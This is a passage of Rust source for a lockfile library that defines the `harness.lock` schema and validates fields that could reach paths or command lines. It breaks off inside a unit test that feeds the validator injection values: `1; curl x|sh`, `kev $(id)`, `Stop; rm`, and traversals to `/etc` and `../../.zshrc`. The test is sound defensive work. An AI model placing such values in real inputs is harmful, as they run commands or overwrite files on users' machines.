harness-lock-core 0.5.0

//! The lockfile: `harness.lock`.

use std::collections::BTreeMap;
use std::path::Path;

use serde::{Deserialize, Serialize};
use serde_json::Value;

use crate::error::{Error, Result};
use crate::{LOCK_VERSION, LOCKFILE_PATH};

pub const HEADER: &str = "# This file is generated by harness-lock. Do not edit by hand.";

/// `v` without JSON nulls in objects and arrays (TOML has no null).
fn drop_nulls(v: &Value) -> Value {
    match v {
        Value::Object(m) => Value::Object(m.iter().filter(|(_, v)| !v.is_null()).map(|(k, v)| (k.clone(), drop_nulls(v))).collect()),
        Value::Array(a) => Value::Array(a.iter().filter(|v| !v.is_null()).map(drop_nulls).collect()),
        other => other.clone(),
    }
}

#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(default)]
pub struct LLM {
    pub role: String,
    pub provider: String,
    pub model: String,
    #[serde(rename = "resolved-from")]
    pub resolved_from: Option<String>,
    #[serde(default)]
    pub params: BTreeMap<String, serde_json::Value>,
    pub fingerprint: Option<String>,
    /// Base URL the harness sends this model's requests to (pinned locks).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub endpoint: Option<String>,
    /// Local inference runtime serving the model, matching a `[[runtime]]` name.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub runtime: Option<String>,
}

impl Default for LLM {
    fn default() -> Self {
        LLM {
            role: String::new(),
            provider: "reference".into(),
            model: String::new(),
            resolved_from: None,
            params: BTreeMap::new(),
            fingerprint: None,
            endpoint: None,
            runtime: None,
        }
    }
}

/// A decision model the stack uses, by what it decides (`[[decider]]`,
/// `specs/decision-models.md` §6.3).
#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default, rename_all = "kebab-case")]
pub struct Decider {
    /// `approve`, `stop`, `route` or `tool`.
    #[serde(rename = "use")]
    pub use_: String,
    pub provider: String,
    /// The model, as the provider names it.
    pub model: String,
    /// `systemone` or `decisions`.
    pub protocol: String,
    #[serde(skip_serializing_if = "Option::is_none")]
    pub endpoint: Option<String>,
    /// The variable its API key is read from, when it needs one.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub key_env: Option<String>,
    /// The local runtime serving it, matching a `[[runtime]]` name.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub runtime: Option<String>,
    #[serde(skip_serializing_if = "Option::is_none")]
    pub resolved_from: Option<String>,
    /// How the harness reaches it: `hook` (hlock writes a hook), `native` (a setting of
    /// the harness's own), `env` (code harnesses), or `simulated` (the reference harness).
    pub via: String,
    /// Where it's wired: the profile's file id and the harness event.
    #[serde(skip_serializing_if = "Vec::is_empty")]
    pub wiring: Vec<Wiring>,
    /// `approve`: which of allow, ask, deny it may answer.
    #[serde(skip_serializing_if = "Vec::is_empty")]
    pub may: Vec<String>,
    #[serde(skip_serializing_if = "serde_json::Value::is_null")]
    pub min_probability: serde_json::Value,
    #[serde(skip_serializing_if = "Option::is_none")]
    pub timeout_ms: Option<u64>,
    /// Digest of hlock's question set for this use.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub questions: Option<String>,
    #[serde(skip_serializing_if = "Option::is_none")]
    pub policy: Option<PolicyRef>,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default)]
pub struct Wiring {
    pub file: String,
    pub event: String,
}

/// A decider's policy file, relative to the project, and its digest.
#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default)]
pub struct PolicyRef {
    pub path: String,
    pub digest: String,
}

/// The judge that scored the evidence's `judge` and `trace` graders.
#[derive(Debug, Clone, Serialize, Default, PartialEq)]
#[serde(rename_all = "kebab-case")]
pub struct EvidenceJudge {
    /// As configured: `typesafe:jev-1.13.0`.
    pub model: String,
    /// What answered, as the provider named it (`jev-1.13.0` for `jev-latest`).
    #[serde(skip_serializing_if = "Option::is_none")]
    pub answered: Option<String>,
    /// `systemone`, `decisions`, or `chat` (an LLM).
    #[serde(skip_serializing_if = "Option::is_none")]
    pub protocol: Option<String>,
    /// The LLM that re-judged uncertain grades.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub fallback: Option<String>,
    /// The share of judge grades that were uncertain.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub uncertain_grades: Option<f64>,
    /// What judging cost per trial, when the provider publishes a price.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub cost_usd_per_task: Option<f64>,
}

impl<'de> Deserialize<'de> for EvidenceJudge {
    // a string (what locks before [evidence.judge] wrote), or the table
    fn deserialize<D: serde::Deserializer<'de>>(d: D) -> std::result::Result<Self, D::Error> {
        #[derive(Deserialize)]
        #[serde(default, rename_all = "kebab-case")]
        #[derive(Default)]
        struct T {
            model: String,
            answered: Option<String>,
            protocol: Option<String>,
            fallback: Option<String>,
            uncertain_grades: Option<f64>,
            cost_usd_per_task: Option<f64>,
        }
        #[derive(Deserialize)]
        #[serde(untagged)]
        enum E {
            S(String),
            T(T),
        }
        Ok(match E::deserialize(d)? {
            E::S(model) => EvidenceJudge { model, ..Default::default() },
            E::T(t) => EvidenceJudge { model: t.model, answered: t.answered, protocol: t.protocol, fallback: t.fallback, uncertain_grades: t.uncertain_grades, cost_usd_per_task: t.cost_usd_per_task },
        })
    }
}

#[derive(Debug, Clone, Serialize, Deserialize, Default)]
#[serde(default)]
pub struct Decision {
    pub kind: String,
    pub model: Option<String>,
    pub revision: Option<String>,
    #[serde(default)]
    pub decisions: Vec<String>,
    #[serde(default)]
    pub thresholds: BTreeMap<String, f64>,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default)]
#[serde(default)]
pub struct Harness {
    pub name: String,
    pub version: Option<String>,
    pub source: Option<String>,
    pub integrity: Option<String>,
    pub adapter: Option<String>,
    pub config: Option<String>,
    pub pattern: Option<String>,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default)]
pub struct Tool {
    pub name: String,
    pub kind: String,
    pub source: Option<String>,
    pub integrity: Option<String>,
    #[serde(rename = "schema")]
    pub tool_schema: Option<String>,
    #[serde(default)]
    pub permissions: Vec<String>,
    /// MCP servers: `stdio`, `http`, or `sse`.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub transport: Option<String>,
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub command: Option<String>,
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub args: Vec<String>,
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub url: Option<String>,
    /// Environment for the server; secret values are `${HLOCK_SECRET_…}` placeholders.
    #[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
    pub env: BTreeMap<String, String>,
    #[serde(default, skip_serializing_if = "BTreeMap::is_empty")]
    pub headers: BTreeMap<String, String>,
    /// `user` or `project`: the config scope the server came from.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub scope: Option<String>,
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub enabled: Option<bool>,
    /// The package version a declared server resolved to (`npm:`, `pypi:` sources).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub version: Option<String>,
    #[serde(flatten)]
    pub dep: Declared,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default)]
pub struct Skill {
    pub name: String,
    pub origin: String,
    pub source: Option<String>,
    pub digest: Option<String>,
    pub registry: Option<String>,
    #[serde(rename = "provided-by")]
    pub provided_by: Option<String>,
    #[serde(default = "default_true")]
    pub enabled: bool,
    #[serde(default)]
    pub editable: bool,
    #[serde(rename = "evidence-digest")]
    pub evidence_digest: Option<String>,
    #[serde(default)]
    pub requires: Vec<String>,
    /// `user` or `project` (pinned locks).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub scope: Option<String>,
    /// Where the skill was installed, as a portable path (`{root}/skills/x`, `~/…`).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub path: Option<String>,
    /// Copy of the skill next to the lock (`.hlock/vendor/…`), for skills with no fetchable source.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub vendored: Option<String>,
    /// The hidden-Unicode scan of its content: `clean`, `warnings:N`, `critical:N`, or
    /// `allowed:critical` (let through on purpose with `--allow-hidden`).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub scan: Option<String>,
    /// The files in the skill's `scripts/`, which run: approved with `hlock trust` by the
    /// skill's digest, and checked against what's fetched. Unset in a lock older than this.
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub scripts: Option<Vec<String>>,
    #[serde(flatten)]
    pub dep: Declared,
}

fn default_true() -> bool {
    true
}

/// What a declared dependency (`hlock add`, a `harness.toml` or `apm.yml` entry) asked for
/// and what it resolved to (`specs/dependencies.md` §5). Empty for what `pin` found on disk.
#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default, rename_all = "kebab-case")]
pub struct Declared {
    /// Declared in the manifest, not only found installed.
    #[serde(skip_serializing_if = "std::ops::Not::not")]
    pub declared: bool,
    /// The version range asked for (`^1.2`).
    #[serde(skip_serializing_if = "Option::is_none")]
    pub constraint: Option<String>,
    /// The tag a range or tag resolved to (`v1.3.0`).
    #[serde(skip_serializing_if = "Option::is_none")]
    pub resolved_tag: Option<String>,
    /// The branch or tag the commit was taken from (`main`, `v1.3.0`).
    #[serde(skip_serializing_if = "Option::is_none")]
    pub resolved_ref: Option<String>,
    /// The git commit a git source is pinned to.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub commit: Option<String>,
    /// For a dependency another package brought in: that package, and the one above it.
    #[serde(skip_serializing_if = "Vec::is_empty")]
    pub required_by: Vec<String>,
    /// The name it's declared under, when that isn't the entry's own: an instruction file
    /// installed as `.claude/rules/style.md` (or `AGENTS.md`) is declared as `style`.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub declared_as: Option<String>,
    /// `hlock add --eval`: the eval pack with and without the dependency.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub evidence: Option<DepEvidence>,
}

/// An APM package a declared dependency resolved to (`[[package]]`): the skills,
/// instructions and MCP servers it brought are entries of their own, with
/// `required-by` naming it.
#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default, rename_all = "kebab-case")]
pub struct Package {
    pub name: String,
    /// `apm:OWNER/REPO[/PATH][#REF]` as declared, or as the package above it declared it.
    pub source: String,
    /// The package tree's digest, computed as APM computes `content_hash`.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub digest: Option<String>,
    /// 1 for a package the project declares, 2 for one that package declares, and so on.
    pub depth: u32,
    /// The package's `apm.yml` `version` and `license`, when it has them.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub version: Option<String>,
    #[serde(skip_serializing_if = "Option::is_none")]
    pub license: Option<String>,
    /// What it contained that hlock doesn't install (prompts, agents, hooks), by kind.
    #[serde(skip_serializing_if = "BTreeMap::is_empty")]
    pub skipped: BTreeMap<String, usize>,
    #[serde(flatten)]
    pub dep: Declared,
}

/// What `hlock add --eval` measured: the locked stack with and without a dependency.
#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default, rename_all = "kebab-case")]
pub struct DepEvidence {
    /// The eval packs' content digest.
    pub eval_pack: Option<String>,
    pub split: String,
    /// Trials per side.
    pub trials: usize,
    pub baseline_success_rate: f64,
    pub success_rate: f64,
    #[serde(skip_serializing_if = "Option::is_none")]
    pub baseline_cost_usd_per_task: Option<f64>,
    #[serde(skip_serializing_if = "Option::is_none")]
    pub cost_usd_per_task: Option<f64>,
    /// The dependency's digest when it was measured: evidence is stale once it changes.
    #[serde(skip_serializing_if = "Option::is_none")]
    pub digest: Option<String>,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default)]
pub struct Instructions {
    pub name: String,
    pub digest: Option<String>,
    pub scope: String,
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub vendored: Option<String>,
    /// Where a declared instruction file comes from (`github:acme/rules/style.md`).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub source: Option<String>,
    /// The hidden-Unicode scan of its content: `clean`, `warnings:N`, `critical:N`, or
    /// `allowed:critical` (let through on purpose with `--allow-hidden`).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub scan: Option<String>,
    #[serde(flatten)]
    pub dep: Declared,
}

/// A harness-native component: plugin, package, extension, or marketplace (§5.3).
#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default)]
pub struct Native {
    /// Namespaced kind, e.g. `claude-code.plugin`, `pi.package`, `opencode.plugin`.
    pub kind: String,
    pub name: String,
    pub version: Option<String>,
    pub source: Option<String>,
    pub revision: Option<String>,
    pub integrity: Option<String>,
    #[serde(default = "default_true")]
    pub enabled: bool,
    /// Extra harness-specific settings (e.g. a Pi package's extension filter).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub config: Option<serde_json::Value>,
    #[serde(flatten)]
    pub dep: Declared,
}

/// A local inference runtime and the models the harness uses on it (pinned locks).
#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default)]
pub struct Runtime {
    pub name: String,
    /// `local` (this machine) or `network` (a self-hosted server on a private network).
    pub location: String,
    pub version: Option<String>,
    pub source: Option<String>,
    pub endpoint: Option<String>,
    #[serde(default)]
    pub model: Vec<RuntimeModel>,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default)]
pub struct RuntimeModel {
    pub id: String,
    /// Where the weights come from: `ollama:qwen3:8b`, `hf://org/repo`, …
    pub source: Option<String>,
    pub revision: Option<String>,
    pub digest: Option<String>,
    #[serde(rename = "size-bytes")]
    pub size_bytes: Option<u64>,
    /// Whether the weights were found in the runtime's local store at pin time.
    pub present: bool,
}

/// A harness config file captured by `hlock pin`.
#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default)]
pub struct ConfigFile {
    /// The profile's file id (`settings`, `state`, …).
    pub id: String,
    pub path: String,
    pub format: String,
    /// `whole` | `pointers` | `record`
    pub restore: String,
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub pointers: Vec<String>,
    pub digest: Option<String>,
    /// Redacted copy next to the lock that `sync` restores from.
    pub vendored: Option<String>,
    /// The hidden-Unicode scan of its content: `clean`, `warnings:N`, `critical:N`, or
    /// `allowed:critical` (let through on purpose with `--allow-hidden`).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub scan: Option<String>,
}

/// A secret `pin` replaced with a placeholder; `sync`/`launch` fill it from the environment.
#[derive(Debug, Clone, Serialize, Deserialize, Default, PartialEq)]
#[serde(default, rename_all = "kebab-case")]
pub struct SecretRef {
    /// The environment variable that supplies it (`HLOCK_SECRET_…`).
    pub name: String,
    pub used_by: String,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default)]
#[serde(default, rename_all = "kebab-case")]
pub struct Policy {
    pub retries: u32,
    pub tool_timeout_seconds: Option<u64>,
    pub max_steps: u32,
    pub max_cost_usd_per_task: Option<f64>,
    pub sandbox: BTreeMap<String, serde_json::Value>,
    pub human_approval: String,
    pub risky_actions: Vec<String>,
    pub tool_allowlist: Vec<String>,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default)]
#[serde(default)]
pub struct Context {
    pub isolation: String,
    pub compaction: BTreeMap<String, serde_json::Value>,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default)]
#[serde(default, rename_all = "kebab-case")]
pub struct Evidence {
    #[serde(alias = "task-pack")]
    pub eval_pack: Option<String>,
    #[serde(alias = "task-pack-version")]
    pub eval_pack_version: Option<String>,
    pub split: String,
    pub trials: usize,
    pub success_rate: BTreeMap<String, f64>,
    pub cost_usd_per_task: BTreeMap<String, f64>,
    pub latency_s_per_task: BTreeMap<String, f64>,
    /// The judge that scored `judge` and `trace` graders, when the packs have any.
    pub judge: Option<EvidenceJudge>,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default)]
#[serde(default, rename_all = "kebab-case")]
pub struct Verify {
    pub canary_tasks: usize,
    pub min_success_rate: f64,
    pub fingerprint_tolerance: f64,
}

#[derive(Debug, Clone, Serialize, Deserialize, Default)]
#[serde(default)]
pub struct Provenance {
    pub backend: String,
    pub run: Option<String>,
    #[serde(default)]
    pub search: BTreeMap<String, serde_json::Value>,
    /// What a pin captured: `["project"]`, or `["project", "user"]` with `--user`. Empty
    /// in locks pinned before scopes existed, which captured both.
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub scopes: Vec<String>,
    /// The `--include-user-scope` patterns that chose which user-level items were pinned.
    /// Empty when the user scope was pinned whole (`--user`) or not at all.
    #[serde(default, rename = "user-include", skip_serializing_if = "Vec::is_empty")]
    pub user_include: Vec<String>,
    /// The OpenAPM spec version declared dependencies were resolved by (`"0.1"`).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub openapm: Option<String>,
}

#[derive(Debug, Clone, Serialize, Deserialize)]
#[serde(rename_all = "kebab-case")]
pub struct Lockfile {
    pub lock_version: i64,
    pub generated_by: String,
    pub generated_at: String,
    pub manifest_hash: Option<String>,
    #[serde(default)]
    pub stack: BTreeMap<String, serde_json::Value>,
    #[serde(default)]
    pub llm: Vec<LLM>,
    #[serde(default)]
    pub decision: Decision,
    /// Decision models the stack uses, one per use.
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub decider: Vec<Decider>,
    #[serde(default)]
    pub harness: Harness,
    #[serde(default)]
    pub tool: Vec<Tool>,
    #[serde(default)]
    pub skill: Vec<Skill>,
    #[serde(default)]
    pub instructions: Vec<Instructions>,
    #[serde(default)]
    pub policy: Policy,
    #[serde(default)]
    pub context: Context,
    #[serde(default)]
    pub evidence: Evidence,
    #[serde(default)]
    pub verify: Verify,
    #[serde(default)]
    pub provenance: Provenance,
    // Pinned-lock sections (`hlock pin`, SPEC §7.8.4); empty in resolved locks.
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub native: Vec<Native>,
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub runtime: Vec<Runtime>,
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub config: Vec<ConfigFile>,
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub secret: Vec<SecretRef>,
    /// APM packages declared dependencies resolved to.
    #[serde(default, skip_serializing_if = "Vec::is_empty")]
    pub package: Vec<Package>,
    /// Tune-lock-only fields (see §5.9 / `harness.tune.lock`).
    #[serde(default, skip_serializing_if = "Option::is_none", rename = "base-lock")]
    pub base_lock: Option<String>,
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub kind: Option<String>,
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub tune: Option<serde_json::Value>,
    /// What `hlock localize` replaced and how it chose (localized locks only).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub localize: Option<serde_json::Value>,
    /// Where `hlock pull` got this lock: source, git URL, ref, commit (pulled locks only).
    #[serde(default, skip_serializing_if = "Option::is_none")]
    pub pulled: Option<serde_json::Value>,
}

impl Default for Lockfile {
    fn default() -> Self {
        Lockfile {
            lock_version: LOCK_VERSION,
            generated_by: format!("harness-lock {}", env!("CARGO_PKG_VERSION")),
            generated_at: String::new(),
            manifest_hash: None,
            stack: BTreeMap::new(),
            llm: Vec::new(),
            decision: Decision::default(),
            decider: Vec::new(),
            harness: Harness::default(),
            tool: Vec::new(),
            skill: Vec::new(),
            instructions: Vec::new(),
            policy: Policy::default(),
            context: Context::default(),
            evidence: Evidence::default(),
            verify: Verify::default(),
            provenance: Provenance::default(),
            native: Vec::new(),
            runtime: Vec::new(),
            config: Vec::new(),
            secret: Vec::new(),
            package: Vec::new(),
            base_lock: None,
            kind: None,
            tune: None,
            localize: None,
            pulled: None,
        }
    }
}

impl Lockfile {
    pub fn load(path: &Path) -> Result<Lockfile> {
        let text = std::fs::read_to_string(path)
            .map_err(|e| Error::Lockfile(format!("cannot read {}: {e}", path.display())))?;
        Lockfile::from_str(&text)
    }

    pub fn from_str(text: &str) -> Result<Lockfile> {
        // the header is a TOML comment, so the text parses as it is
        let lf: Lockfile =
            toml::from_str(text).map_err(|e| Error::Lockfile(format!("invalid harness.lock: {e}")))?;
        if lf.lock_version != LOCK_VERSION {
            return Err(Error::Lockfile(format!(
                "unsupported lock-version {} (this build supports {})",
                lf.lock_version, LOCK_VERSION
            )));
        }
        lf.validate()?;
        Ok(lf)
    }

    /// Reject names and values that become paths or command-line words and could reach
    /// outside where they belong. A lock can come from someone else's repository (`hlock
    /// pull`), so every consumer gets this check through `load` and `from_str`.
    pub fn validate(&self) -> Result<()> {
        use crate::fsutil::{plain_name, plain_token, safe_rel};
        let name = |what: &str, s: &str| -> Result<()> {
            if plain_name(s) { Ok(()) } else { Err(Error::Lockfile(format!("{what} {s:?} must be a plain name (no '/', '\\', or '..')"))) }
        };
        let rel = |what: &str, s: &str| -> Result<()> {
            if safe_rel(s) { Ok(()) } else { Err(Error::Lockfile(format!("{what} {s:?} must be a relative path inside the project (no leading '/', no '..')"))) }
        };
        let token = |what: &str, s: &str| -> Result<()> {
            if plain_token(s) {
                Ok(())
            } else {
                Err(Error::Lockfile(format!("{what} {s:?} has characters that aren't allowed (letters, digits and ._:/@+- only, not starting with '-')")))
            }
        };
        if !self.harness.name.is_empty() {
            name("[harness] name", &self.harness.name)?;
        }
        if let Some(v) = &self.harness.version {
            token("[harness] version", v)?;
        }
        // a declared dependency's commit and tags reach `git` as arguments
        let dep = |what: &str, d: &Declared| -> Result<()> {
            for (k, v) in [("commit", &d.commit), ("resolved-tag", &d.resolved_tag), ("resolved-ref", &d.resolved_ref)] {
                if let Some(v) = v {
                    token(&format!("{what} {k}"), v)?;
                }
            }
            if let Some(n) = &d.declared_as {
                name(&format!("{what} declared-as"), n)?;
            }
            if let Some(c) = d.constraint.as_deref().filter(|c| c.chars().any(char::is_control)) {
                return Err(Error::Lockfile(format!("{what} constraint {c:?} has control characters")));
            }
            Ok(())
        };
        for s in &self.skill {
            name("[[skill]] name", &s.name)?;
            if let Some(v) = &s.vendored {
                rel(&format!("[[skill]] {} vendored", s.name), v)?;
            }
            dep(&format!("[[skill]] {}", s.name), &s.dep)?;
        }
        for i in &self.instructions {
            if let Some(v) = &i.vendored {
                rel(&format!("[[instructions]] {} vendored", i.name), v)?;
            }
            dep(&format!("[[instructions]] {}", i.name), &i.dep)?;
        }
        for p in &self.package {
            name("[[package]] name", &p.name)?;
            dep(&format!("[[package]] {}", p.name), &p.dep)?;
        }
        for t in &self.tool {
            if let Some(v) = &t.version {
                token(&format!("[[tool]] {} version", t.name), v)?;
            }
            dep(&format!("[[tool]] {}", t.name), &t.dep)?;
        }
        for c in &self.config {
            if let Some(v) = &c.vendored {
                rel(&format!("[[config]] {} vendored", c.id), v)?;
            }
        }
        for n in &self.native {
            if let Some(v) = &n.version {
                token(&format!("[[native]] {} version", n.name), v)?;
            }
            dep(&format!("[[native]] {}", n.name), &n.dep)?;
        }
        for r in &self.runtime {
            token("[[runtime]] name", &r.name)?;
            if let Some(v) = &r.version {
                token(&format!("[[runtime]] {} version", r.name), v)?;
            }
            for m in &r.model {
                token(&format!("[[runtime]] {} model id", r.name), &m.id)?;
                if let Some(src) = &m.source {
                    token(&format!("[[runtime]] {} model {} source", r.name, m.id), src)?;
                }
                if let Some(rev) = &m.revision {
                    token(&format!("[[runtime]] {} model {} revision", r.name, m.id), rev)?;
                }
            }
        }
        for l in &self.llm {
            if let Some(rt) = &l.runtime {
                token(&format!("[[llm]] {} runtime", l.role), rt)?;
            }
        }
        for d in &self.decider {
            if !crate::decide::AGENT_USES.contains(&d.use_.as_str()) {
                return Err(Error::Lockfile(format!("[[decider]] use {:?} isn't one of {}", d.use_, crate::decide::AGENT_USES.join(", "))));
            }
            token(&format!("[[decider]] {} model", d.use_), &d.model)?;
            if let Some(rt) = &d.runtime {
                token(&format!("[[decider]] {} runtime", d.use_), rt)?;
            }
            for w in &d.wiring {
                token(&format!("[[decider]] {} wiring event", d.use_), &w.event)?;
            }
            if let Some(p) = &d.policy {
                rel(&format!("[[decider]] {} policy path", d.use_), &p.path)?;
            }
        }
        Ok(())
    }

    pub fn save(&self, path: &Path) -> Result<()> {
        let body = toml::to_string(&self.without_nulls()).map_err(|e| Error::Lockfile(e.to_string()))?;
        crate::fsutil::write_atomic(path, format!("{HEADER}\n{body}")).map_err(|e| crate::error::at(path, e))
    }

    /// A copy with JSON nulls dropped from the free-form fields (TOML has no null), so a
    /// `null` from the worker or a tune report can't make `save` fail.
    fn without_nulls(&self) -> Lockfile {
        fn map(m: &mut BTreeMap<String, Value>) {
            m.retain(|_, v| !v.is_null());
            m.values_mut().for_each(|v| *v = drop_nulls(v));
        }
        fn opt(o: &mut Option<Value>) {
            match o {
                Some(v) if v.is_null() => *o = None,
                Some(v) => *v = drop_nulls(v),
                None => {}
            }
        }
        let mut l = self.clone();
        map(&mut l.stack);
        l.llm.iter_mut().for_each(|x| map(&mut x.params));
        l.decider.iter_mut().for_each(|d| d.min_probability = drop_nulls(&d.min_probability));
        map(&mut l.policy.sandbox);
        map(&mut l.context.compaction);
        map(&mut l.provenance.search);
        l.native.iter_mut().for_each(|n| opt(&mut n.config));
        opt(&mut l.tune);
        opt(&mut l.localize);
        opt(&mut l.pulled);
        l
    }

    /// True for locks written by `hlock pin` (no manifest, no evidence).
    pub fn is_pin(&self) -> bool {
        self.kind.as_deref() == Some("pin")
    }

    /// Whether this pin captured any user-level setup (`--user` or `--include-user-scope`).
    /// Locks pinned before scopes were recorded captured everything, so they count too.
    pub fn pins_user_scope(&self) -> bool {
        self.provenance.scopes.is_empty() || self.provenance.scopes.iter().any(|s| s == "user")
    }

    pub fn default_path(&self) -> &str {
        LOCKFILE_PATH
    }

    /// Vector of manifest-drift violation strings (empty means clean).
    pub fn check_manifest(&self, live_hash: &str) -> Vec<String> {
        match &self.manifest_hash {
            None => vec!["lock has no manifest-hash".to_string()],
            Some(pinned) => {
                let pinned_hex = pinned.split(':').nth(1).unwrap_or(pinned);
                let live_hex = live_hash.split(':').nth(1).unwrap_or(live_hash);
                if pinned_hex == live_hex {
                    Vec::new()
                } else {
                    vec![format!(
                        "manifest drift: lock pinned {pinned:?}, live {live_hash:?}"
                    )]
                }
            }
        }
    }

    pub fn summary(&self) -> String {
        let model = self.llm.first().map(|l| l.model.as_str()).unwrap_or("?");
        let sr = self.evidence.success_rate.get("mean").unwrap_or(&f64::NAN);
        format!(
            "stack={:?} harness={} llm={} decision={} success-rate={:.2} trials={}",
            self.stack.get("name").and_then(serde_json::Value::as_str).unwrap_or("agent"),
            self.harness.name,
            model,
            self.decision.kind,
            sr,
            self.evidence.trials
        )
    }
}

#[cfg(test)]
mod tests {
    use super::*;

    fn tmp(tag: &str) -> std::path::PathBuf {
        let d = std::env::temp_dir().join(format!("hlock-lockfile-{tag}-{}", std::process::id()));
        let _ = std::fs::remove_dir_all(&d);
        std::fs::create_dir_all(&d).unwrap();
        d
    }

    const HEAD: &str = "lock-version = 1\ngenerated-by = \"t\"\ngenerated-at = \"\"\n";

    #[test]
    fn lines_starting_with_hash_inside_strings_survive() {
        let mut l = Lockfile::default();
        l.stack.insert("notes".into(), Value::String("line one\n# not a comment\nline three".into()));
        let d = tmp("hash");
        let p = d.join("harness.lock");
        l.save(&p).unwrap();
        let text = std::fs::read_to_string(&p).unwrap();
        assert!(text.starts_with(HEADER), "the header is written");
        let back = Lockfile::load(&p).unwrap();
        assert_eq!(back.stack["notes"], "line one\n# not a comment\nline three");
        let raw = format!("{HEADER}\n{HEAD}[stack]\nnotes = \"\"\"\na\n# b\nc\"\"\"\n");
        assert_eq!(Lockfile::from_str(&raw).unwrap().stack["notes"], "a\n# b\nc");
        let _ = std::fs::remove_dir_all(&d);
    }

    #[test]
    fn nulls_in_free_form_fields_are_dropped_on_save() {
        let mut l = Lockfile::default();
        l.stack.insert("gone".into(), Value::Null);
        l.tune = Some(serde_json::json!({"data_meta": {"rows": null, "split": [0.7, null]}, "kept": 1}));
        l.pulled = Some(Value::Null);
        l.provenance.search.insert("x".into(), serde_json::json!({"y": null}));
        l.native.push(Native { kind: "pi.package".into(), name: "p".into(), config: Some(serde_json::json!({"a": null})), ..Default::default() });
        let d = tmp("nulls");
        let p = d.join("harness.lock");
        l.save(&p).unwrap();
        let back = Lockfile::load(&p).unwrap();
        assert!(!back.stack.contains_key("gone") && back.pulled.is_none());
        assert_eq!(back.tune.unwrap(), serde_json::json!({"data_meta": {"split": [0.7]}, "kept": 1}));
        assert_eq!(std::fs::read_dir(&d).unwrap().count(), 1, "written by rename; no temp file left");
        let _ = std::fs::remove_dir_all(&d);
    }

    #[test]
    fn names_that_become_paths_or_commands_are_refused() {
        for (body, field) in [
            ("[harness]\nname = \"../../x\"\n", "[harness] name"),
            ("[harness]\nname = \"pi\"\nversion = \"1; curl x|sh\"\n", "[harness] version"),
            ("[[skill]]\nname = \"../evil\"\norigin = \"x\"\n", "[[skill]] name"),
            ("[[skill]]\nname = \"s\"\norigin = \"x\"\nvendored = \"/etc\"\n", "vendored"),
            ("[[instructions]]\nname = \"AGENTS.md\"\nscope = \"project\"\nvendored = \"../../.zshrc\"\n", "vendored"),
            ("[[config]]\nid = \"settings\"\npath = \"x\"\nformat = \"json\"\nrestore = \"whole\"\nvendored = \"a/../../b\"\n", "vendored"),
            ("[[runtime]]\nname = \"ollama\"\nlocation = \"local\"\n[[runtime.model]]\nid = \"--help\"\n", "model id"),
            ("[[decider]]\nuse = \"judge\"\nmodel = \"kev\"\n", "[[decider]] use"),
            ("[[decider]]\nuse = \"stop\"\nmodel = \"kev $(id)\"\n", "[[decider]] stop model"),
            ("[[decider]]\nuse = \"stop\"\nmodel = \"kev\"\n[[decider.wiring]]\nfile = \"settings\"\nevent = \"Stop; rm\"\n", "wiring event"),
